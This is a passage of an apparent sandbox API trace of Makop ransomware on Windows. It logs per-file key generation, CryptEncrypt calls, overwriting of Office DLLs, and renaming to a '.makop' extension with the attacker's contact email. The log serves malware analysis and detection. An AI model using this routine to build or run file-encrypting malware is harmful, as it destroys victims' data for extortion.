lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.362] CloseHandle (hObject=0x114) returned 1 [0089.362] GetFileType (hFile=0x138) returned 0x1 [0089.362] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0089.363] CloseHandle (hObject=0x138) returned 1 [0089.363] GetFileType (hFile=0x114) returned 0x1 [0089.363] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.364] CloseHandle (hObject=0x114) returned 1 [0089.364] GetFileType (hFile=0x138) returned 0x1 [0089.365] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0089.365] CloseHandle (hObject=0x138) returned 1 [0089.366] GetFileType (hFile=0x114) returned 0x1 [0089.366] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.367] CloseHandle (hObject=0x114) returned 1 [0089.367] GetFileType (hFile=0x138) returned 0x1 [0089.367] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0089.368] CloseHandle (hObject=0x138) returned 1 [0089.368] GetFileType (hFile=0x114) returned 0x1 [0089.368] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.369] CloseHandle (hObject=0x114) returned 1 [0089.369] GetFileType (hFile=0x138) returned 0x1 [0089.370] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0089.370] CloseHandle (hObject=0x138) returned 1 [0089.371] GetFileType (hFile=0x114) returned 0x1 [0089.371] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.372] CloseHandle (hObject=0x114) returned 1 [0089.372] GetFileType (hFile=0x138) returned 0x1 [0089.372] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0089.373] CloseHandle (hObject=0x138) returned 1 [0089.373] GetFileType (hFile=0x114) returned 0x1 [0089.373] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.374] CloseHandle (hObject=0x114) returned 1 [0089.374] GetFileType (hFile=0x138) returned 0x1 [0089.375] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0089.375] CloseHandle (hObject=0x138) returned 1 [0089.376] GetFileType (hFile=0x114) returned 0x1 [0089.376] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.377] CloseHandle (hObject=0x114) returned 1 [0089.377] GetFileType (hFile=0x138) returned 0x1 [0089.377] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0089.378] CloseHandle (hObject=0x138) returned 1 [0089.378] GetFileType (hFile=0x114) returned 0x1 [0089.378] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.379] CloseHandle (hObject=0x114) returned 1 [0089.380] GetFileType (hFile=0x138) returned 0x1 [0089.380] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0089.380] CloseHandle (hObject=0x138) returned 1 [0089.381] GetFileType (hFile=0x114) returned 0x1 [0089.381] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.382] CloseHandle (hObject=0x114) returned 1 [0089.382] GetFileType (hFile=0x138) returned 0x1 [0089.382] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0089.383] CloseHandle (hObject=0x138) returned 1 [0089.383] GetFileType (hFile=0x114) returned 0x1 [0089.383] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.384] CloseHandle (hObject=0x114) returned 1 [0089.385] GetFileType (hFile=0x138) returned 0x1 [0089.385] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0089.386] CloseHandle (hObject=0x138) returned 1 [0089.386] GetFileType (hFile=0x114) returned 0x1 [0089.386] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.387] CloseHandle (hObject=0x114) returned 1 [0089.387] GetFileType (hFile=0x138) returned 0x1 [0089.388] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0089.389] CloseHandle (hObject=0x138) returned 1 [0089.389] GetFileType (hFile=0x114) returned 0x1 [0089.389] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0089.390] CloseHandle (hObject=0x114) returned 1 [0089.390] GetFileType (hFile=0x138) returned 0x1 [0089.390] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.392] CloseHandle (hObject=0x138) returned 1 [0089.392] GetFileType (hFile=0x114) returned 0x1 [0089.392] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0089.393] CloseHandle (hObject=0x114) returned 1 [0089.393] GetFileType (hFile=0x138) returned 0x1 [0089.393] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0089.394] CloseHandle (hObject=0x138) returned 1 [0089.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0089.401] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0089.401] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0089.402] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0089.402] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0089.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0089.403] GetProcessHeap () returned 0x48a0000 [0089.403] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0089.403] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0089.403] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0089.403] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0089.408] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0089.408] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0089.408] GetProcessHeap () returned 0x48a0000 [0089.408] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0089.409] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0089.409] CryptDestroyKey (hKey=0x48c7128) returned 1 [0089.409] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0089.409] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0089.409] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0089.409] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0089.409] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0089.409] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0089.409] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0089.410] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0089.410] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.410] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7eb48, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7eb48, lpOverlapped=0x0) returned 1 [0089.422] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7eb50, dwBufLen=0x7eb50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7eb50) returned 1 [0089.426] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.427] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7eb50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7eb50, lpOverlapped=0x0) returned 1 [0089.430] CryptDestroyKey (hKey=0x48c7128) returned 1 [0089.430] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7ec14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.430] SetEndOfFile (hFile=0xf0) returned 1 [0089.441] GetProcessHeap () returned 0x48a0000 [0089.442] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0089.442] GetProcessHeap () returned 0x48a0000 [0089.442] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0089.442] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0089.442] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0089.483] CloseHandle (hObject=0xf0) returned 1 [0089.484] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0089.484] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0089.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0089.488] GetProcessHeap () returned 0x48a0000 [0089.488] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0089.488] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0089.488] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0089.488] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0089.492] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0089.492] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0089.492] GetProcessHeap () returned 0x48a0000 [0089.492] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0089.492] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0089.492] CryptDestroyKey (hKey=0x48c7128) returned 1 [0089.492] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0089.493] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0089.493] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0089.493] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0089.493] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0089.493] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0089.493] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0089.494] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0089.494] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.494] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x21d78, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x21d78, lpOverlapped=0x0) returned 1 [0089.497] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x21d80, dwBufLen=0x21d80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x21d80) returned 1 [0089.498] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.498] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x21d80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x21d80, lpOverlapped=0x0) returned 1 [0089.499] CryptDestroyKey (hKey=0x48c7128) returned 1 [0089.499] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x21e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.500] SetEndOfFile (hFile=0xf0) returned 1 [0089.508] GetProcessHeap () returned 0x48a0000 [0089.508] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0089.508] GetProcessHeap () returned 0x48a0000 [0089.508] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0089.508] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0089.508] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0089.510] CloseHandle (hObject=0xf0) returned 1 [0089.510] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0089.510] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0089.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0089.512] GetProcessHeap () returned 0x48a0000 [0089.512] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0089.512] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0089.512] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0089.513] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0089.517] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0089.517] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0089.517] GetProcessHeap () returned 0x48a0000 [0089.517] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0089.517] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0089.517] CryptDestroyKey (hKey=0x48c7128) returned 1 [0089.517] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0089.518] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0089.518] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0089.518] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0089.518] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0089.518] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0089.518] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0089.518] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0089.518] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.519] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x11578, lpNumberOfBytesRead=0x6577ab4, 